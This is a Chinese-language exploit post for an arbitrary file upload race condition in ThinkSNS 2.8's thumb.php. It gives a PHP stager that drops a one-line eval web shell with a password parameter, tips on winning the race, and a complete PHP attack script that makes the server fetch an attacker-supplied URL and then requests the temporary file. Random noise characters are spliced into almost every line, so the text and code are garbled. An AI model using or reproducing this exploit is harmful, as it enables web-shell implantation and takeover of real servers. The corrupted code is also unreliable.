漏洞版本( {4 b% o1 V3 q. ~. T
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)4 `9 P1 v8 j m6 i6 [5 h) |4 _
漏洞文件
+ c, U0 i0 d7 J" A1 r0 Q存在漏洞的文件为:thumb.php" P s' E& D" O' B1 j% r/ v
作者:韦鲲鹏! Q& [9 Q$ h% \
1、 准备如下PHP文件并上传到服务器(自己的)。
6 U" N( m' l( N% I1 _9 d/ y6 Z* Q7 T文件内容如下:
# z: M1 J! M* P0 }* T" Q<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>% m7 a% i( G2 h" l
2、 计算出临时的文件名:0 i: @, r7 b' C& Z2 V% o B
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
4 E- o; d* ~$ d$ a% x$ H4 y( h( x4 j
* ?8 d N, P3 u* O) y- E3 r3、 上传临时文件。3 s" ~$ [* ^, |) P# V. H- S
4、 访问临时文件。% _9 ?, U+ o- o& l, c
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
+ N5 e( }$ o2 \) H/ q0 xExploit文件内容如下:(这个我就不详细解释了)8 u& J2 H3 w7 ]- n$ Y
<?php( N5 U/ c& X# k4 ]6 D
error_reporting(0);
' Q2 f/ b* o# p- xset_time_limit(0);
( s9 F% V# M b: l4 W" l7 v, E6 m" fini_set(“default_socket_timeout”, 5);. w6 V- a$ C9 W3 |0 g
function http_send($host, $port, $headers) {
' _5 [& X# x' A- I" B: s7 Y$fp = fsockopen($host, $port);. n' X6 i& t( M- f
if (!$fp) die(‘Connection -> fail’);
# E1 R' u5 J" W4 D5 Q( rfputs($fp, $headers); a& D0 k$ B) C" F
return $fp;
! e9 a7 L. U3 g- U5 B; i}3 w9 M) |2 p5 n: j$ F- M
function http_recv($fp) {+ s I+ m, v" |4 X6 z
$ret=”";
/ u- I# r- q8 f+ twhile (!feof($fp))
+ K7 N2 G7 y$ L1 T% J y$ret.= fgets($fp, 1024);
1 P6 u$ q& P! q- p! l0 b2 mfclose($fp); I% o9 u6 ^" {* Q! M( @& i
return $ret;. \; a, m2 x- C* `! R; w2 {1 v, K5 E: j
}
3 k* I& Z* G) d1 J9 i; Wprint “\n# ThinkSns Arbitrary File Upload #\n”;
8 e- W7 k3 }% m( V+ Lprint “# Discovered by 韦鲲鹏 #\n\n”;4 n: r+ a' [4 t5 ^
if ($argc < 4) {
* k! d8 H% h) v$ y( Z$ Aprint “Usage: php <host> <path> <romote_url>\n”;
! a& e/ ]) J0 A& h. {* X+ I. {$ \& y/ uprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;: e3 f: R& R/ u3 Q1 W
die();/ {+ Q8 ?& R% l! z
}0 [+ @( ]2 R! l1 P8 F6 h
$host = $argv[1];
! S2 r1 o3 i# F2 {$path = $argv[2];+ y' t# f+ p- Z; Y
$url = $argv[3];
3 K3 Y' Y6 [1 n2 G6 f( c$i=0;
0 I$ u) L2 j# Z2 V% a5 G5 ~2 V//上传数据包2 Y1 U7 J& v4 f+ t& T) B i
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
8 n! _, _" Y0 H# C$headers_up .= “Host: “.$host.”\r\n”;
) d0 j+ L$ `. A( o- W6 p! b$headers_up .= “Connection: close\r\n\r\n”;" I$ E/ z: g6 b k/ Z" `
echo $headers_up;
2 Z6 O1 n7 p; a' S' D/ o) H//临时文件访问数据包
+ K2 N) o5 M+ c% h! M) y$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
; X8 q% [+ H+ x0 O( o1 j$headers .= “Host: “.$host.”\r\n”;
( \) G5 @! M* Z$headers .= “Connection: close\r\n\r\n”;
, Y5 O9 a3 u4 C+ r$ Uecho $headers;1 p v# J y7 J; h! u" G5 @" H
while(++$i<10) {- @) A0 N( X x; b
fclose(http_send($host, 80, $headers));
7 t" l2 F, O4 {4 \( {; {4 h6 S}7 W" E" J, G' s4 d k; x3 Z; B, P
fclose(http_send($host, 80, $headers_up));7 n: |- C! B3 ^9 S. b
while(++$i<50) {
, ^" s9 a& R6 B" e# @5 R% D# Zfclose(http_send($host, 80, $headers));) j) h$ t' }" n% H# d
}( v6 J6 i9 Y( w5 r
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
( L0 [5 p/ ~7 E1 |( h: d$headers .= “Host: “.$host.”\r\n”;
3 r5 E2 A; A/ G- ]$headers .= “Connection: close\r\n\r\n”;
+ @% ?4 B- @* O$res=http_recv(http_send($host, 80, $headers));
' O0 G) s$ E$ M* Fif(preg_match(‘/200 OK/’,$res)) {
, P; y2 z: h6 m, y- G& a9 gprint “Success!\n\n”;
: R2 t4 q/ [* c1 e9 Z1 Q} else {( y/ B9 G$ K, U
print “Fail!\n\n”;
( H6 U+ g! x* G}
+ m0 ~# B) U& a' p& H% l?>
H N2 Y9 C( r; y, R2 o& l4 l |